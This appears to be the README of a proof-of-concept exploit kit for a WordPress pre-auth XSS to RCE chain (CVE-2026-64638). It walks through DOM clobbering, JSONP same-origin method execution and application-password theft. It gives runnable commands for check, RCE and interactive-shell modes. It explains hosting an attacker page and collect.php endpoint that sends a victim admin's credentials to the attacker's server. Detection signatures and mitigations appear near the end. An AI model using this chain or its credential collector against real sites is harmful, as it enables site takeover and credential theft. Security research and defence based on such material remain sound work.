
PoC exploit chain for WordPress pre-auth XSS to RCE via DOM clobbering, REST JSONP/SOME, and plugin upload, with Docker lab verification and interactive shell.
WordPress Pre-Auth XSS → RCE exploit chain, based on research by pwn.ai published on ionsec.io.
⚠️ LEGAL WARNING: For EDUCATIONAL PURPOSES and AUTHORIZED TESTING only. Only use against systems you own or have explicit written permission to test.
| Step | Technique | Status |
|---|---|---|
| 1 | Parser differential XSS (sanitize_user + browser parse gap) | ✅ Verified |
| 2 | DOM clobbering (<area id=ajaxurl>, <div id=color-picker>) | ✅ Verified |
| 3 | user-profile.js auto-trigger on login page | ✅ Verified |
| 4 | REST JSONP callback allows dot traversal (window.opener.approve.click) | ✅ Verified |
| 5 | _method=GET + _envelope=1 override | ✅ Verified |
| 6 | Application password theft (SOME) | ⚠️ Requires admin click |
| 7 | Plugin upload → PHP execution (no activation) | ⚠️ Requires credentials |
See lab/VERIFICATION_REPORT.md for full details.
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
Upload xss2shell_attacker.html and collect.php to your server.
A logged-in WordPress admin must visit the attacker page and click once.
Credentials appear in collected_creds.json on your server:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
Signatures to search for in server logs:
POST /wp-login.php with body containing < area, < div, < button_jsonp= (especially _jsonp=a.b.c — the dot is the SOME tell)_envelope=1 + _method=GET on routes that should reject themPOST /wp-admin/update.php?action=upload-plugin from unrecognized IPGET /wp-content/plugins/{unknown-plugin}/*.php — PHP file in a never-activated pluginauthorize-application.phpadd_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp=, _envelope= on REST endpoints; block < area in POST body to wp-login.phpxss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| Item | Detail |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| Affected | WordPress 4.7 – 7.0.2 (unpatched point releases) |
| Fixed | WordPress 7.0.3 (August 6, 2026), backported to all maintenance branches |
| Auth | Pre-auth (unauthenticated XSS) |
| Impact | RCE via plugin upload |